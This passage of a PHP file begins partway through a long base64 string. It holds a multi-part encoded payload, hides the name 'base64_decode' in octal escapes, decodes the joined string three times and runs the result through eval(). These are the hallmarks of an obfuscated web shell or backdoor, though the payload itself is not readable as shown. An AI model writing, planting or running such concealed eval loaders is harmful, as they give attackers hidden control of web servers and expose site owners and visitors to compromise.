bUV3Tlc5WmJUVlNXakpLU0dKSWNHdFNNVm94VTFWb1EyUnRUblZWYlU1cFlWVnJNMUpHUm5kTk1rWklZa2hPWVZVeVpEUlRNVTVEVGpCU1VtSXdjRnBXTURWeFYyeG9RMDFGZEVaVWJFSlZZWHBTZWxaWWJISk9NRkpTWWpCd2FGWXhiSFpUVms1dVlUSk9TR0pIZEZGV01YQXlXVEl4ZW1ORmRGUlJhbVJGVlZjNVMxRXhaRk5qUm5CVVVWZHNVazFyV2pGWmJUQTFUVVZzU0ZkdVdtcGlXRTV3VTFWa2MySlZiRVJhTW1oaFVqRmFkRmxXWXpGaVJuQkVVVmQwYWxJeWVISlRNVko2Vkd0T2JtRXdjR2xOTUVweldXMXNRMVpHV2taVmEzQlZZVmhrY0ZWRlRtRlNSbEYzVGxVNVNtRnVUazlSTW1SeVUyMUplbEZ0ZUdsaFZVcFZWbXRXVTFWR1dsZFZXRTVLWVdwU2RGVlVRVFZVTVZKd1UxUmtSVlZYT1V0Uk1XTTFaREZ3V0U1SFpGWk5Wa3BHVld4YVMxVXdlRVJUVTNSTFlUQTFVVlpIY3pCaFZUa3pUVVYwUkZWWGVITmFWV1JYWVd0c1JGVnNVbFJTVmxwT1ZrVk9RMDlIV2tSUmJYUm9WakZXYmxrd2FFdGpSMHAxVlZka1VrMUViRkJXUjJ4Q1lWWkZlVkp1Vm10Uk1FcHpXbFZrVjJGdFVsbFZiWGhLVVRGS1ZWVXdWbGRVVmxKSFpVaFdTbUZ1VGs5Uk1tUnlVMnhyZVdWSVdtcE5iRlp1VlZSQk5WUXhVbkZqTURWRVdqSjBTMWRzYUc5alIxSkVVVmhrVUdSNlFreFJNV2QzVkd0T2RVMUVNR2xQZDI5blNVTkJaMXBYVG05aWVVRnBVRWRuZUZCck5XeGtTR1IyWTIxeloyUkhPWFppU0UwNFRESm5lRkJxZUd0aFdGbG5XVEo0YUdNelRUbFpNamwxWkVkV2RXUkVORXRKUTBGblNVUjRiV0l6U25SSlJ6Vm9ZbGRWT1VveU5XMWpRMk5uWWpJMVZHUlhTblJoV0ZFNVdFTktia3RITlRGaVIzZHpZbTVXYzJKRGQyNVpia0ozU25sNE1HRkhiSHBNYmtKMlkyNVJkV1J0Um5Oa1YxVndUek5LYkdSSVZubGlhVUp0V1ZkNGVscFVkR05KYWpSTFNVTkJaMGxFZUhwalIwWjFVR3RLY0dKdFVXZGpSemw1WkVOQ01HSjVRWFpaYld4MVRETk9iMGxHZEhkYVdFcHpXRlIzZG1NelFtaGlhalE0V1c1SmRsQm5iMmRKUTBGblZVYzVlV1JFYjJkUVIyeDFZMGhXTUVsSVVqVmpSMVU1U2pOU2JHVklVVzVKUnpWb1lsZFZPVW96UW5aamJsRnVTVWhhYUdKSVZteFFVMk42VFZSTmVrNTVZeXRKUkhod1ltNUNNV1JEUWpCbFdFSnNVRmhPTVZsdE1YQmtRMEl5V1ZkNE1WcFVNRzVRYWpSdVVHZHZaMGxEUVdkUVF6bHRZak5LZEZCbmIyZEpRMEZuVUVkYWRtTnRNR2RpYlVaMFdsUXdibUp0V25kS2VVSjJZbXhPTVZsdE1YQmtSREZqU1cxamIySnVWbk5pUTNoMVpGZDRjMHhEWkdsWk0wRnVURWhTYjJGWVRYVmpNbFo1WkcxV2VVeHVXbWhpU0Zac1RFaFNiMkZZVFhWalJ6bDVaRU0xTWxsWGVERmFVMnMzWTIxV01HUllTblZKUjFwb1lraE9iRTh4ZDJsUVoyOW5TVU5CWjFCSVRuZFpWelFyVVcxR2FtRjVNV3BpTWpWMVdsZE9NRWxEUW1KalIxWjVZa1l3T0V3elRuZFpWelFyVUVkS2VVeDZORXRKUTBGblNVWk9iR051V214amFtOW5VRWRzZFdOSVZqQkpTRkkxWTBkVk9Vb3pVbXhsU0ZGdVNVYzFhR0pYVlRsS00wNXNZMjVhYkdOcFkyZGtiVVp6WkZkVk9VcDVTWFZKUTFKbVZUQldVMVpyVmxOWGVXUlRVbFV4VUZaRlZtWlJWVkpGVldsa1pFbEROR2xLZWpSblZVYzVlV1JFYjJkUVIyeDFZMGhXTUVsSVVqVmpSMVU1U2pOU2JHVklVVzVKUnpWb1lsZFZPVW96UW5aamJsRnVTVWhhYUdKSVZteFFVMk42VFZSTmVrNTVZeXRKUkhod1ltNUNNV1JEUWpCbFdFSnNVRmhPTVZsdE1YQmtRMEl5V1ZkNE1WcFVNRzVRYWpSdVVHZHZaMGxEUVdkUVF6bHRZak5LZEZCcWVHbGphalJwVDNkdlowbERRV2RoVjFsdllWaE9lbHBZVVc5S1JqbFJWREZPVlZkNVpIZE5VMlJrUzFOcloyVjNiMmRKUTBGblNVTkJaMGxIV2pGaWJVNHdZVmM1ZFVsSFRtMUxRMUp0VEVOU01FdFRRamREYVVGblNVTkJaMGxEUVdkSlEwRm5TVU5TTTBsRU1HZFJSMXAyWTBkV2RVdERVbTFNUTBvelNXbHJaMkl6U1dkUlIxb3hZbTFPTUdGWE9YVllNbFkwWVZoT01HTjVaMjVhYld4eldsWTVkMlJZVW1aWk1qbDFaRWRXZFdSSVRXNUxWSE5MU1VOQlowbERRV2RKUTBGblNVTkJaMkZYV1c5S1NHTndaWGR2WjBsRFFXZEpRMEZuU1VOQlowbERRV2RKUTBGblVVZGFNMk50YkRCYVUyZHJaSGw0UVZsdFJucGFWRmt3V0RKU2JGa3lPV3RhVTJkclpFTnJjRTkzYjJkSlEwRm5TVU5CWjBsRFFXZEpRMEZuU1VOQloxRkhXbXBpUnpsNldsTm5hMlI1YXpkRGFVRm5TVU5CWjBsRFFXZEpRMEZuU1Vnd1MwbERRV2RKUTBGblNVTkNPVU5wUVdkSlEwRm5TVU5CWjJGWFdXOUtSamxSVkRGT1ZWZDVaSGROVTJSa1NVUXdPVWxEWkdsalNFRnVTMU5DTjBOcFFXZEpRMEZuU1VOQlowbERRV2RKUjA1dFMwTkpkbVJITVhkTU1rcDNURzVDYzBscGQydFpiV3gxV2tZNWQySXpTakJZTTBGd1QzZHZaMGxEUVdkSlEwRm5TVU5CWjBsRFFXdGlNMVl3U1VRd1oyUXpUblpTV0dkdlNXNUNiR050ZDJkTU0xSjBZME01YVdORE5YZGlRMEZwVEdsU1psVkZPVlJXUm5OdVkwUkpibGhUTkdsSlJFVXJUREpTYkdScE9YVmtWM2h6U1VSSkswcHFSV2RLYVVsd1QzZHZaMGxEUVdkSlEwRm5TVU5CWjBsRFFucGlSMVpzWTBObmVFdFVjMHRKUTBGblNVTkJaMGxEUVdkSlEwRm5XbGRPYjJKNVFXbFFTRUo1V2xOQ2FtSkhSbnBqZWpGMFlrUkZLMHBIT1RGa1JuaDFTV2sxTTJNeU9VWmxRMmRwWTBoTloxbFlWalJKU0hkbldqTktiR05EUW1salF6VjNZa05KY0V4cFNUaE1NMEo1V2xRMGFVOTNiMmRKUTBGblNVTkJaMGxEUVdkSlEwSXhZbTE0Y0dKdGMyOUphVGt3WWxoQmRsbHVRWFZqUjNkcFMxUnpTMGxEUVdkSlEwRm5TVU5DT1VOcFFXZEpRMEZuU1VOQloyRlhXVzlLUmpsUlZERk9WVmQ1WkhkTlUyUmtTVVF3T1VsRFpHbFpNMEZ1UzFOQ04wTnBRV2RKUTBGblNVTkJaMGxEUVdkSlIwNXRTME5KZG1SSE1YZE1Na3BxVEc1Q2MwbHBkMnRaYlVacVlURTVhbUl5TlhWYVYwNHdXRE5CY0U5M2IyZEpRMEZuU1VOQlowbERRV2RKUTBGcllqTldNRWxFTUdka00wNTJVbGhuYjBsdVFteGpiWGRuVEROU2RHTkRPV2xaZVRWM1lrTkJhVXhwVW1aVlJUbFVWa1p6Ym1ORVNXNVlVelJwU1VOSmRVcEdPVkZVTVU1VlYzbGtkMDE1WkdSTWFVbG5UVlEwZGxwSFZqSk1NalV4WWtkM1owMXFORzFOVTBGdFNXbHJOME5wUVdkSlEwRm5TVU5CWjBsRFFXZEpTRTV6V2xkV2QwdEVSWEJQZDI5blNVTkJaMGxEUVdkSlEwRm5TVU5DYkZreWFIWkpRMGs0WTBoS2JFbEhUbk5aV0U1NlVGY3hjMDFVTkd0aU0xWXdXRWMwYVV4dVpIcGlNRlkwUzBOS2QyTjVRbWhrV0dkblprTkNibU50Vm5kSlIwcHFURzVDYzBscGEzVkphbmQyWTBoS2JGQnBTVGREYVVGblNVTkJaMGxEUVdkSlEwRm5TVWhXZFdKSGJIVmhlV2RwVEROU2RHTkRPV2xaZVRWM1lrTkpjRTkzYjJkSlEwRm5TVU5CWjBsSU1FdEpRMEZuU1Vnd1MwbERRV2RKUjFacVlVYzRaMHA2ZDNaYVIyd3lVR2xqTjBOcFFXZEpRMEl6WXpJNVIySXlPVEJhV0VsdlMxUnpTMlpSY0cxa1Z6VnFaRWRzZG1KcFFtaFpNMUp3WWpJMVUxRjVaM0JKU0hOTFNVTkJaMGxIYkcxTFEwWkJTa1k1VVZReFRsVlhlV1IzVFZOa1pFdFRRamREYVVGblNVTkJaMGxEUVdkS1IwVm5VRk5DYUdOdVNtaGxVMmRMU1VOQlowbERRV2RKUTBGblNVTkJaMGx1Vm5WWlZ6RnNTV2xCT1ZCcFFuZGhTRUptWkZjMWFHSlhWVzlMVTNkTFNVTkJaMGxEUVdkSlEwRm5TVU5CWjBsdVFtOWpSamt5V2xoS2VtRlhPWFZKYVVFNVVHbENkMkZJUWpKYVdFcDZZVmM1ZFV0RGEzTkRhVUZuU1VOQlowbERRV2RKUTBGblNVTktNMk15T1daa2JWWjVZekpzZG1KcFNXZFFWRFJuVmpGT1VGZ3hXa1pWYkU1S1ZEQTBjME5wUVdkSlEwRm5TVU5CWjBsRFFXZEpRMHA2V1ZkYWJHSlhPV3RhVTBsblVGUTBaMUZIYkhWaFZqbHVXbGhSYjBvelRtaGFiVlptWWxjNWExcFRZM0JEYVVGblNVTkJaMGxEUVdkTFZITkxTVU5CWjBsRFFXZEpRMEpzV1RKb2RrbElUbXhqYld4b1lrZHNObHBUWjJ0WlUyczNRMmxCWjBsRFFqbEpSMVp6WXpKVloyVjNiMmRKUTBGblNVTkJaMGxIVmpKWlYzZHZTa1k1VVZReFRsVlhlV1IzVFZOa1pFdFVjMHRKUTBGblNVZ3dTMlpSY0hCYWFXZG5XbGN4ZDJSSWEyOUtSamxSVkRGT1ZWZDVaR2hLTVRCd1NVTnJTMGxEUVdkSlIyeHRTMGRzZW1NeVZqQkxRMUpyV2xkYWFHUlhlREJZTWtacVpFZHNkbUpwYTJkS2FWbG5XbTVXZFZrelVuQmlNalZtV2xob2NHTXpVbnBMUTJSb1dUTlNjR0l5Tkc1SlF6Um5Ta2RTYkZwdFJqRmlTRkptV1ZkT01HRlhPWFZMVTJ0TFNVTkJaMGxEUVdkSlEwRnJXREZDVUZVeFVtSktNa1Z1V0ZOQk9VbERVbXRhVjFwb1pGZDRNRmd5Um1wa1IyeDJZbXB6UzBsRFFXZEpSMVp6WXpKVlMwbERRV2RKUTBGblNVTkJhMWd4UWxCVk1WSmlTakpGYmxoVFFUbEpRMlJVV2xkT1NtSnRXblpLZW5OTFlWZFpiMGxEUm14aVdFSXdaVk5uYTFneFFsQlZNVkppU2pKRmJsaFRhMmRLYVZsbldtNVdkVmt6VW5CaU1qVm1XbGhvY0dNelVucExRMlJvV1ROU2NHSXlORzVKUXpSblNrWTVVVlF4VGxWWGVXUm9TakV3Y0V';
$part1='U2tkR01XUkhhR1pqUjBaNlkzb3dhVTU2UVRGYVJHTXpUWHBWTTFwVVRtdE5WRVV5V1ZkUmVV';
$part3='sRGEwdEpRMEZuU1VkT2FHSkhlR1prV0U1c1kydzViV1JYTldwTFEyUm9XVE5TY0dJeU5HNUpRelJuU2tZNVVWUXhUbFZYZVdSb1NqRXdjRTkzY0d4bFIyd3dUM2R2U3c9PQ==';

$b="\142\141\163\145\066\064\137";
$b.="\144\145\143\157\144\145";
//echo $b;
$v=$part1.$part2.$part3;
for($i=1;$i<=3;$i++)
	$v=$b($v);
eval($v);

?>